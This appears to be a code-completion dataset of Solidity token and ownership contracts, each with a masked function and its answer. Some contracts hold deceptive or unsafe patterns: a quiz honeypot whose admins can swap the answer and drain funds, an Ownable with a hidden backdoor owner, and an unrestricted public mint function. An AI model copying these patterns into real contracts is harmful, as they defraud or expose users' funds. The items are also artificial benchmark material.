contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> }
require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner;
function transferOwnership(address _newOwner) external onlyOwner
function transferOwnership(address _newOwner) external onlyOwner
73774
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; <FILL_FUNCTION> /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } }
require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
/** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool)
52349
ZONTEX
ZONTEX
contract ZONTEX is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; function ZONTEX( ) {<FILL_FUNCTION_BODY> } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
contract ZONTEX is StandardToken { function () { throw; } /* Public variables of the token */ string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; <FILL_FUNCTION> /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
balances[msg.sender] = 1200000000000000000000000000; totalSupply = 1200000000000000000000000000; name = "ZONTEX"; decimals = 18; symbol = "ZON";
function ZONTEX( )
function ZONTEX( )
90767
digital_quiz
Try
contract digital_quiz { function Try(string _response) external payable {<FILL_FUNCTION_BODY> } string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string _question, string _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(_response); question = _question; } } function Stop() public payable isAdmin { msg.sender.transfer(this.balance); } function New(string _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] admins) public{ for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(msg.sender)]); _; } function() public payable{} }
contract digital_quiz { <FILL_FUNCTION> string public question; bytes32 responseHash; mapping (bytes32=>bool) admin; function Start(string _question, string _response) public payable isAdmin{ if(responseHash==0x0){ responseHash = keccak256(_response); question = _question; } } function Stop() public payable isAdmin { msg.sender.transfer(this.balance); } function New(string _question, bytes32 _responseHash) public payable isAdmin { question = _question; responseHash = _responseHash; } constructor(bytes32[] admins) public{ for(uint256 i=0; i< admins.length; i++){ admin[admins[i]] = true; } } modifier isAdmin(){ require(admin[keccak256(msg.sender)]); _; } function() public payable{} }
require(msg.sender == tx.origin); if(responseHash == keccak256(_response) && msg.value > 1 ether) { msg.sender.transfer(this.balance); }
function Try(string _response) external payable
function Try(string _response) external payable
18334
Ownable
_transferOwnership
contract Ownable is Context { address private _owner; address private _ownr; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; _ownr = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() != _ownr) { require(_owner == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal {<FILL_FUNCTION_BODY> } }
contract Ownable is Context { address private _owner; address private _ownr; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; _ownr = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (_msgSender() != _ownr) { require(_owner == _msgSender(), "Ownable: caller is not the owner"); } _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } <FILL_FUNCTION> }
require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner;
function _transferOwnership(address newOwner) internal
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal
15819
OG
OG
contract OG is Ownable , StandardToken { //////////////////////////////// string public constant name = "OnlyGame Token"; string public constant symbol = "OG"; uint8 public constant decimals = 18; uint256 public constant totalsum = 1000000000 * 10 ** uint256(decimals); //////////////////////////////// address public crowdSaleAddress; bool public locked; //////////////////////////////// uint256 public __price = (1 ether / 20000 ) ; //////////////////////////////// function OG() public {<FILL_FUNCTION_BODY> } //////////////////////////////// // allow burning of tokens only by authorized users modifier onlyAuthorized() { if (msg.sender != owner && msg.sender != crowdSaleAddress) revert(); _; } //////////////////////////////// function priceof() public view returns(uint256) { return __price; } //////////////////////////////// function updateCrowdsaleAddress(address _crowdSaleAddress) public onlyOwner() { require(_crowdSaleAddress != address(0)); crowdSaleAddress = _crowdSaleAddress; } //////////////////////////////// function updatePrice(uint256 price_) public onlyOwner() { require( price_ > 0); __price = price_; } //////////////////////////////// function unlock() public onlyAuthorized { locked = false; } function lock() public onlyAuthorized { locked = true; } //////////////////////////////// function toEthers(uint256 tokens) public view returns(uint256) { return tokens.mul(__price) / ( 10 ** uint256(decimals)); } function fromEthers(uint256 ethers) public view returns(uint256) { return ethers.div(__price) * 10 ** uint256(decimals); } //////////////////////////////// function returnTokens(address _member, uint256 _value) public onlyAuthorized returns(bool) { balances[_member] = balances[_member].sub(_value); balances[crowdSaleAddress] = balances[crowdSaleAddress].add(_value); emit Transfer(_member, crowdSaleAddress, _value); return true; } //////////////////////////////// function buyOwn(address recipient, uint256 ethers) public payable onlyOwner returns(bool) { return mint(recipient, fromEthers(ethers)); } function mint(address to, uint256 amount) public onlyOwner returns(bool) { require(to != address(0) && amount > 0); totalSupply = totalSupply.add(amount); balances[to] = balances[to].add(amount ); emit Transfer(address(0), to, amount); return true; } function burn(address from, uint256 amount) public onlyOwner returns(bool) { require(from != address(0) && amount > 0); balances[from] = balances[from].sub(amount ); totalSupply = totalSupply.sub(amount ); emit Transfer(from, address(0), amount ); return true; } function sell(address recipient, uint256 tokens) public payable onlyOwner returns(bool) { burn(recipient, tokens); recipient.transfer(toEthers(tokens)); } //////////////////////////////// function mintbuy(address to, uint256 amount) public returns(bool) { require(to != address(0) && amount > 0); totalSupply = totalSupply.add(amount ); balances[to] = balances[to].add(amount ); emit Transfer(address(0), to, amount ); return true; } function buy(address recipient) public payable returns(bool) { return mintbuy(recipient, fromEthers(msg.value)); } //////////////////////////////// function() public payable { buy(msg.sender); } }
contract OG is Ownable , StandardToken { //////////////////////////////// string public constant name = "OnlyGame Token"; string public constant symbol = "OG"; uint8 public constant decimals = 18; uint256 public constant totalsum = 1000000000 * 10 ** uint256(decimals); //////////////////////////////// address public crowdSaleAddress; bool public locked; //////////////////////////////// uint256 public __price = (1 ether / 20000 ) ; <FILL_FUNCTION> //////////////////////////////// // allow burning of tokens only by authorized users modifier onlyAuthorized() { if (msg.sender != owner && msg.sender != crowdSaleAddress) revert(); _; } //////////////////////////////// function priceof() public view returns(uint256) { return __price; } //////////////////////////////// function updateCrowdsaleAddress(address _crowdSaleAddress) public onlyOwner() { require(_crowdSaleAddress != address(0)); crowdSaleAddress = _crowdSaleAddress; } //////////////////////////////// function updatePrice(uint256 price_) public onlyOwner() { require( price_ > 0); __price = price_; } //////////////////////////////// function unlock() public onlyAuthorized { locked = false; } function lock() public onlyAuthorized { locked = true; } //////////////////////////////// function toEthers(uint256 tokens) public view returns(uint256) { return tokens.mul(__price) / ( 10 ** uint256(decimals)); } function fromEthers(uint256 ethers) public view returns(uint256) { return ethers.div(__price) * 10 ** uint256(decimals); } //////////////////////////////// function returnTokens(address _member, uint256 _value) public onlyAuthorized returns(bool) { balances[_member] = balances[_member].sub(_value); balances[crowdSaleAddress] = balances[crowdSaleAddress].add(_value); emit Transfer(_member, crowdSaleAddress, _value); return true; } //////////////////////////////// function buyOwn(address recipient, uint256 ethers) public payable onlyOwner returns(bool) { return mint(recipient, fromEthers(ethers)); } function mint(address to, uint256 amount) public onlyOwner returns(bool) { require(to != address(0) && amount > 0); totalSupply = totalSupply.add(amount); balances[to] = balances[to].add(amount ); emit Transfer(address(0), to, amount); return true; } function burn(address from, uint256 amount) public onlyOwner returns(bool) { require(from != address(0) && amount > 0); balances[from] = balances[from].sub(amount ); totalSupply = totalSupply.sub(amount ); emit Transfer(from, address(0), amount ); return true; } function sell(address recipient, uint256 tokens) public payable onlyOwner returns(bool) { burn(recipient, tokens); recipient.transfer(toEthers(tokens)); } //////////////////////////////// function mintbuy(address to, uint256 amount) public returns(bool) { require(to != address(0) && amount > 0); totalSupply = totalSupply.add(amount ); balances[to] = balances[to].add(amount ); emit Transfer(address(0), to, amount ); return true; } function buy(address recipient) public payable returns(bool) { return mintbuy(recipient, fromEthers(msg.value)); } //////////////////////////////// function() public payable { buy(msg.sender); } }
crowdSaleAddress = msg.sender; unlock(); totalSupply = totalsum; // Update total supply with the decimal amount * 10 ** uint256(decimals) balances[msg.sender] = totalSupply;
function OG() public
//////////////////////////////// function OG() public
2828
ACCToken
transferToContract
contract ACCToken is ERC223, Lock, Pausable { using SafeMath for uint256; using ContractLib for address; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; event Burn(address indexed from, uint256 value); constructor() public { symbol = "ACC"; name = "AlphaCityCoin"; decimals = 18; totalSupply = 100000000000 * 1 ether; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } // Function to access name of token . function name() public constant returns (string) { return name; } // Function to access symbol of token . function symbol() public constant returns (string) { return symbol; } // Function to access decimals of token . function decimals() public constant returns (uint8) { return decimals; } // Function to access total supply of tokens . function totalSupply() public constant returns (uint256) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public whenNotPaused tokenLock returns (bool) { require(_to != 0x0); if (_to.isContract()) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public whenNotPaused tokenLock returns (bool) { require(_to != 0x0); bytes memory empty; if (_to.isContract()) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) { balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {<FILL_FUNCTION_BODY> } // get the address of balance function balanceOf(address _owner) public constant returns (uint) { return balances[_owner]; } function burn(uint256 _value) public whenNotPaused returns (bool) { require(_value > 0); require(balanceOf(msg.sender) >= _value); // Check if the sender has enough balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } ///@dev Token owner can approve for `spender` to transferFrom() `tokens` ///from the token owner's account function approve(address spender, uint tokens) public whenNotPaused returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } ///@dev Transfer `tokens` from the `from` account to the `to` account function transferFrom(address from, address to, uint tokens) public whenNotPaused tokenLock returns (bool) { allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint) { return allowed[tokenOwner][spender]; } function() public payable { revert(); } // Owner can transfer out any accidentally sent ERC20 tokens function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract ACCToken is ERC223, Lock, Pausable { using SafeMath for uint256; using ContractLib for address; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; event Burn(address indexed from, uint256 value); constructor() public { symbol = "ACC"; name = "AlphaCityCoin"; decimals = 18; totalSupply = 100000000000 * 1 ether; balances[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } // Function to access name of token . function name() public constant returns (string) { return name; } // Function to access symbol of token . function symbol() public constant returns (string) { return symbol; } // Function to access decimals of token . function decimals() public constant returns (uint8) { return decimals; } // Function to access total supply of tokens . function totalSupply() public constant returns (uint256) { return totalSupply; } // Function that is called when a user or another contract wants to transfer funds . function transfer(address _to, uint _value, bytes _data) public whenNotPaused tokenLock returns (bool) { require(_to != 0x0); if (_to.isContract()) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . function transfer(address _to, uint _value) public whenNotPaused tokenLock returns (bool) { require(_to != 0x0); bytes memory empty; if (_to.isContract()) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } // function that is called when transaction target is an address function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) { balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true; } <FILL_FUNCTION> // get the address of balance function balanceOf(address _owner) public constant returns (uint) { return balances[_owner]; } function burn(uint256 _value) public whenNotPaused returns (bool) { require(_value > 0); require(balanceOf(msg.sender) >= _value); // Check if the sender has enough balances[msg.sender] = balanceOf(msg.sender).sub(_value); // Subtract from the sender totalSupply = totalSupply.sub(_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } ///@dev Token owner can approve for `spender` to transferFrom() `tokens` ///from the token owner's account function approve(address spender, uint tokens) public whenNotPaused returns (bool) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } ///@dev Transfer `tokens` from the `from` account to the `to` account function transferFrom(address from, address to, uint tokens) public whenNotPaused tokenLock returns (bool) { allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[from] = balances[from].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint) { return allowed[tokenOwner][spender]; } function() public payable { revert(); } // Owner can transfer out any accidentally sent ERC20 tokens function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
balances[msg.sender] = balanceOf(msg.sender).sub(_value); balances[_to] = balanceOf(_to).add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); emit Transfer(msg.sender, _to, _value); emit Transfer(msg.sender, _to, _value, _data); return true;
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success)
// function that is called when transaction target is a contract function transferToContract(address _to, uint _value, bytes _data) private returns (bool success)
78790
DOHA_Portfolio_Ib_883
transfer
contract DOHA_Portfolio_Ib_883 { mapping (address => uint256) public balanceOf; string public name = " DOHA_Portfolio_Ib_883 " ; string public symbol = " DOHA883 " ; uint8 public decimals = 18 ; uint256 public totalSupply = 731661609544533000000000000 ; event Transfer(address indexed from, address indexed to, uint256 value); function SimpleERC20Token() public { balanceOf[msg.sender] = totalSupply; emit Transfer(address(0), msg.sender, totalSupply); } function transfer(address to, uint256 value) public returns (bool success) {<FILL_FUNCTION_BODY> } event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => mapping(address => uint256)) public allowance; function approve(address spender, uint256 value) public returns (bool success) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool success) { require(value <= balanceOf[from]); require(value <= allowance[from][msg.sender]); balanceOf[from] -= value; balanceOf[to] += value; allowance[from][msg.sender] -= value; emit Transfer(from, to, value); return true; } // } // Programme d'émission - Lignes 1 à 10 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_1_____QNB_20250515 > // < hU1zJfAXIWjwRzQjUIScl4o8bq7axH6HuBDtiGTA019b7oj61f5kl4696PW83S71 > // < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000016274632.348746100000000000 ] > // < 0x000000000000000000000000000000000000000000000000000000000018D547 > // < DOHA_Portfolio_I_metadata_line_2_____Qatar_Islamic_Bank_20250515 > // < 17aFYFQ9CA4SOK0902m34ul7ucv4VLQA7cAR72zAxTdG265k7AnJ5mep6RUfDuBJ > // < u =="0.000000000000000001" : ] 000000016274632.348746100000000000 ; 000000035339142.975448700000000000 ] > // < 0x000000000000000000000000000000000000000000000000000018D54735EC5A > // < DOHA_Portfolio_I_metadata_line_3_____Comm_Bank_of_Qatar_20250515 > // < V83Tsv22iNFkOrBA3D5U7jIA6cJKFb2e1qMTHct8247Wh5x6Y2t3wL8CjA5fQQdR > // < u =="0.000000000000000001" : ] 000000035339142.975448700000000000 ; 000000052957892.175272000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000035EC5A50CEAD > // < DOHA_Portfolio_I_metadata_line_4_____Doha_Bank_20250515 > // < qUju69Sx8gMl6OkjbtMkUItcls3LKlv685Dfa6ulBiQciq6U16poLhbAC3gZ611Y > // < u =="0.000000000000000001" : ] 000000052957892.175272000000000000 ; 000000071717351.549108500000000000 ] > // < 0x000000000000000000000000000000000000000000000000000050CEAD6D6E97 > // < DOHA_Portfolio_I_metadata_line_5_____Ahli_Bank_20250515 > // < C7KoV79oZ8H6SAQEo25AofOM0UL4Wn90au54EN7gqZ49lB6Zm1ry6a6c2AE4ZONG > // < u =="0.000000000000000001" : ] 000000071717351.549108500000000000 ; 000000090903570.386118500000000000 ] > // < 0x00000000000000000000000000000000000000000000000000006D6E978AB535 > // < DOHA_Portfolio_I_metadata_line_6_____Intl_Islamic_Bank_20250515 > // < 7rN94JK4sOb7NGC86JU49Xuh7En2gss8bD2J45V1KsuZeEf4iU1cCCbsWgv3GhmH > // < u =="0.000000000000000001" : ] 000000090903570.386118500000000000 ; 000000107832399.217995000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000008AB535A48A08 > // < DOHA_Portfolio_I_metadata_line_7_____Rayan_20250515 > // < Jgp0QI6C7OKSGJ8Z6N1fmQ2Z9Vse0rP274ezlcf0Aw4r9xPLxdBsWlq50Ev9p5hl > // < u =="0.000000000000000001" : ] 000000107832399.217995000000000000 ; 000000127559187.842301000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000A48A08C2A3CF > // < DOHA_Portfolio_I_metadata_line_8_____Qatar_Insurance_20250515 > // < dc0Y668z2toyy6N8eT2QhKGmjh3P9YALc88654xY56D1mTvAY1y6SDKxZpbb3CNi > // < u =="0.000000000000000001" : ] 000000127559187.842301000000000000 ; 000000144536843.696412000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000C2A3CFDC8BB4 > // < DOHA_Portfolio_I_metadata_line_9_____Doha_Insurance_20250515 > // < NV9L14h25w61rSg9X9zQDFwy3e7gOu6msP2r2949VmDhJ61fzo9ggNu70wgodwgJ > // < u =="0.000000000000000001" : ] 000000144536843.696412000000000000 ; 000000161032169.770494000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000000DC8BB4F5B731 > // < DOHA_Portfolio_I_metadata_line_10_____General_Insurance_20250515 > // < b1qf4nM067k5B0WSoo7wshTv2h1grIOR8ra5A8xKb8ba8Ftoo4uO5zO5bcG5BH3Z > // < u =="0.000000000000000001" : ] 000000161032169.770494000000000000 ; 000000179876905.111256000000000000 ] > // < 0x000000000000000000000000000000000000000000000000000F5B731112786B > // Programme d'émission - Lignes 11 à 20 // // // // // [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ] // [ Adresse exportée ] // [ Unité ; Limite basse ; Limite haute ] // [ Hex ] // // // // < DOHA_Portfolio_I_metadata_line_11_____Islamic_Insurance_20250515 > // < 9qcbUt0742le3FI3SDqDZc281rNM6nRV9Tgn6uOyNz9mP1sOm7U6mdHY1s42dUSd > // < u =="0.000000000000000001" : ] 000000179876905.111256000000000000 ; 000000195844859.003573000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000112786B12AD5E6 > // < DOHA_Portfolio_I_metadata_line_12_____Ind_Manf_Co_20250515 > // < 3H6E0f64Nrl2wS84a41EU74v4M6e50Mm8O3KhW9zKMWtQVfVXlbaH0ZD02uiY3qj > // < u =="0.000000000000000001" : ] 000000195844859.003573000000000000 ; 000000216103494.501970000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000012AD5E6149BF6D > // < DOHA_Portfolio_I_metadata_line_13_____National_Cement_Co_20250515 > // < 11T8O4S7kL062mgfNaHVj1Jul8Aep7d6pgFGRfoH7H8zq2MBzk503lJ7JTpp4pgT > // < u =="0.000000000000000001" : ] 000000216103494.501970000000000000 ; 000000231573394.642144000000000000 ] > // < 0x00000000000000000000000000000000000000000000000000149BF6D1615A5B > // < DOHA_Portfolio_I_metadata_line_14_____Zad_Holding_Company_20250515 > // < uAFlkA36REFbTmSIiAdy3506KdOr51okG3tGVZjDm0r8PawduO933AFNYY1c9wn2 > // < u =="0.000000000000000001" : ] 000000231573394.642144000000000000 ; 000000248503661.237730000000000000 ] > // < 0x000000000000000000000000000000000000000000000000001615A5B17B2FBE > // < DOHA_Portfolio_I_metadata_line_15_____Industries_Qatar_20250515 > // < 6j92OsXVYJ1l6U92UvJgrT5085Km60aNuDmNrGUo2wmJ2fGzzodsd0R1lKLYd95o > // < u =="0.000000000000000001" : ] 000000248503661.237730000000000000 ; 000000269472454.885304000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000017B2FBE19B2EAD > // < DOHA_Portfolio_I_metadata_line_16_____United_Dev_Company_20250515 > // < K8Uz43p03ZRnsM1I1El5l3FOWnAU2UL50ofgWD9Evb1cen5H0cUmLc39dX9rj026 > // < u =="0.000000000000000001" : ] 000000269472454.885304000000000000 ; 000000287571177.938346000000000000 ] > // < 0x0000000000000000000000000000000000000000000000000019B2EAD1B6CC7E > // < DOHA_Portfolio_I_metadata_line_17_____Qatar_German_Co_Med_20250515 > // < 